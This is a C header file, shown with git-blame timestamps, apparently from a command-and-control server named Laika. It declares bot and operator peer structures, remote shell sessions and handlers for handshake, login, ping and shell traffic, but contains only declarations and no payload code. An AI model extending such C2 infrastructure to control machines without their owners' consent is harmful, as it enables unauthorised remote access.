2022-05-08 01:09:42 +00:00
|
|
|
#ifndef LAIKA_CNC_PEER_H
|
|
|
|
#define LAIKA_CNC_PEER_H
|
|
|
|
|
|
|
|
#include "laika.h"
|
|
|
|
#include "lpacket.h"
|
|
|
|
#include "lpeer.h"
|
2022-06-27 23:57:00 +00:00
|
|
|
#include "lpolllist.h"
|
|
|
|
#include "lsocket.h"
|
2022-05-08 01:09:42 +00:00
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
struct sLaika_peerInfo
|
|
|
|
{
|
2022-05-20 19:10:53 +00:00
|
|
|
struct sLaika_shellInfo *shells[LAIKA_MAX_SHELLS]; /* currently connected shells */
|
2022-05-08 01:09:42 +00:00
|
|
|
struct sLaika_cnc *cnc;
|
|
|
|
long lastPing;
|
|
|
|
bool completeHandshake;
|
|
|
|
};
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
struct sLaika_shellInfo
|
|
|
|
{
|
2022-05-20 19:10:53 +00:00
|
|
|
struct sLaika_peer *bot;
|
|
|
|
struct sLaika_peer *auth;
|
|
|
|
uint32_t botShellID, authShellID;
|
|
|
|
uint16_t cols, rows;
|
|
|
|
};
|
|
|
|
|
2022-05-08 01:09:42 +00:00
|
|
|
#define BASE_PEERINFO struct sLaika_peerInfo info;
|
|
|
|
|
2022-05-20 19:10:53 +00:00
|
|
|
/* these will differ someday */
|
2022-06-27 23:57:00 +00:00
|
|
|
struct sLaika_botInfo
|
|
|
|
{
|
2022-05-08 01:09:42 +00:00
|
|
|
BASE_PEERINFO
|
|
|
|
};
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
struct sLaika_authInfo
|
|
|
|
{
|
2022-05-08 01:09:42 +00:00
|
|
|
BASE_PEERINFO
|
|
|
|
};
|
|
|
|
|
|
|
|
#undef BASE_PEERINFO
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo *)x->uData)
|
|
|
|
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo *)x->uData)
|
|
|
|
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo *)x->uData)
|
2022-05-20 19:10:53 +00:00
|
|
|
|
2022-05-08 01:09:42 +00:00
|
|
|
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc);
|
|
|
|
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc);
|
|
|
|
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo);
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth,
|
|
|
|
uint16_t cols, uint16_t rows);
|
2022-05-20 19:10:53 +00:00
|
|
|
void laikaC_closeShell(struct sLaika_shellInfo *shell);
|
2022-05-08 01:09:42 +00:00
|
|
|
|
2022-05-20 19:10:53 +00:00
|
|
|
void laikaC_closeShells(struct sLaika_peer *peer);
|
2022-05-08 01:09:42 +00:00
|
|
|
|
|
|
|
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
2022-06-30 01:31:22 +00:00
|
|
|
void laikaC_handlePeerLoginReq(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
2022-05-08 01:09:42 +00:00
|
|
|
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
|
|
|
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
|
|
|
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
|
|
|
|
|
|
|
#endif
|